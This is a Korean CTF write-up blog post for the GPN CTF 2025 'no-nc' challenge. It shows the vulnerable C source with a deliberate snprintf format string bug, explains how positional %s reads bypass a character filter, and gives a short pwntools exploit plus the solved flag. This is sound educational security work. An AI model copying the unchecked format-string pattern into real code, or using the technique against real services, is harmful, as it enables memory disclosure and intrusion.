GPN CTF 2025 - no-nc

2025. 6. 22. 09:17·CTF/Solved
728x90
반응형

1. intro

 

2. code 및 분석

2.1.  code

#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>

#define RAW_FLAG "GPNCTF{fake_flag}"

char *FLAG = RAW_FLAG;

int no(char c)
{
    if (c == '.')
        return 1;
    if (c == '/')
        return 1;
    if (c == 'n')
        return 1;
    if (c == 'c')
        return 1;
    return 0;
}

char filebuf[4096] = {};
int main(int argc, char **argv)
{
    setbuf(stdin, 0);
    setbuf(stdout, 0);
    setbuf(stderr, 0);
    char buf[200] = {};
    puts("Give me a file to read");
    read(STDIN_FILENO, buf, (sizeof buf) - 1);
    buf[sizeof buf - 1] = '\0';
    size_t str_len = strlen(buf);
    for (size_t i = 0; i < str_len; i++)
    {
        if (no(buf[i]))
        {
            puts("I don't like your character!");
            exit(1);
        }
    }
    char *filename = calloc(200, 1);
    snprintf(filename, (sizeof filename) - 1, buf);
    puts("Will open:");
    puts(filename);
    int fd = open(filename, 0);
    if (fd < 0)
    {
        perror("open");
        exit(1);
    }
    while (1)
    {
        int count = read(fd, filebuf, (sizeof filebuf) - 1);
        if (count > 0)
        {
            write(STDOUT_FILENO, filebuf, count);
        }
        else
        {
            break;
        }
    }
}%

2.2. 분석

문자열을 입력 받으며, 해당 문자열에 . / n c 가 포함되어있으면 종료하고, 아니라면 파일을 읽어 출력한다.

 

3. 취약점 확인 및 공격 준비

3.1. 취약점

format string bug 및 검증 우회

3.2. 공격 준비

snprintf에서 format string bug가 발생한다.

더불어 flag가 문제 바이너리 내에 포함되어있기 때문에 nc 파일을 열 수만 있다면 flag가 출력될 것이다.

다만 기본적으로 n과 c 문자열을 필터링하기 때문에 통상적인 fmb가 불가능하다.

하지만 strlen 함수가 \0을 만날때까지의 길이를 확인하지만 read 함수는 \0를 포함하여 문자열 입력이 가능하기에 이를 우회할 수 있다.

그래서 '\0nc'와 같은 식으로 nc 문자 자체를 filename 변수에 넣으려고 하였으나 잘 되지 않았다.

 

하지만 모든 바이너리는 바이너리 말미에 관련 정보를 포함하기 때문에 nc 문자열이 존재할 것이며 %s를 통해 이를 삽입할 수 있겠다는 생각이 들었고, 로컬에서 %1$s ~ %10$s까지 넣다보니 특정 위치에서 이를 읽어들이는 것을 확인했다.

따라서 리모트 환경에서 오프셋이 다를 수 있기 때문에 조금 좁은 범위를 대상으로 다시 한번 시도 했다.

 

4. exploit

from pwn import *

for i in range(70, 75):
    #p = process('./nc')
    p = remote("redview-of-ridiculous-honor.gpn23.ctf.kitctf.de", "443", ssl=True)
    payload = b'%' + str(i).encode() + b'$s'
    p.sendafter(b'read\n',payload)

    print(i)
    p.interactive()
    
# GPNCTF{up_aND_DoWN_4lL_ar0UnD_60ES_tH3_n_diMEn5IOna1_CIRC1E_w7F_iS_tHIS_fL4G}
728x90
반응형
저작자표시 비영리 변경금지 (새창열림)

'CTF > Solved' 카테고리의 다른 글

GPN CTF 2025 - Note Editor  (0) 2025.06.22
GPN CTF 2025 - NASA  (0) 2025.06.22
NahamCon 2025 CTF - Lost Memory  (0) 2025.05.30
BREAK THE SYNTAX CTF - HexDumper  (0) 2025.05.11
Dreamhack CTF Season 7 Round #9 (🚩Div1) - chain-lightning  (0) 2025.05.03
'CTF/Solved' 카테고리의 다른 글
  • GPN CTF 2025 - Note Editor
  • GPN CTF 2025 - NASA
  • NahamCon 2025 CTF - Lost Memory
  • BREAK THE SYNTAX CTF - HexDumper
wyv3rn
wyv3rn
아저씨의 흔한 취미. wyv3rn#1249
  • wyv3rn
    think storage
    wyv3rn
  • 전체
    오늘
    어제
    • 분류 전체보기 (513)
      • To do list (7)
        • Doing (1)
        • Complete (6)
      • Diary (35)
      • Tips & theory (74)
      • Kernel Exploit (27)
        • Theory (15)
        • Exercise (5)
      • File Structure (6)
      • Wargame (320) N
        • pwn.college (34)
        • Dreamhack (154) N
        • pwnable.kr (15)
        • Lord of Sqlinjection (4)
        • Cryptohack (20)
        • Root me (27)
        • CodeEngn (4)
        • Exploit Education (22)
        • ROP Emporium (8)
        • H4C (10)
        • Hackerchool (22)
      • CTF (44)
        • Solved (42)
        • Unsolved (2)
      • Script (0)
      • RubiyaLap (0)
  • 블로그 메뉴

    • 홈
    • 방명록
  • 링크

  • 공지사항

    • PWN wargame 모음 (및 느낀점)
    • 비공개 글들에 대해.
    • 뭐라도 하나 얻어가시길...
  • 인기 글

  • 태그

    64bit
    Me
    exploit education
    root-me
    phoenix
    ROOT ME
    _IO_FILE
    Format String Bug
    BOF
    cryptohack
    pwnable.kr
    FSB
    libc
    docker
    vtable
    tcache
    pwntools
    hackerschool
    RTL
    x86
    dreamhack
    la ctf
    rop
    32bit
    CANARY
    lob
    x64
    heap
    Buffer Overflow
    root
  • 최근 댓글

  • 최근 글

  • 250x250
    반응형
  • hELLO· Designed By정상우.v4.10.3
wyv3rn
GPN CTF 2025 - no-nc
상단으로

티스토리툴바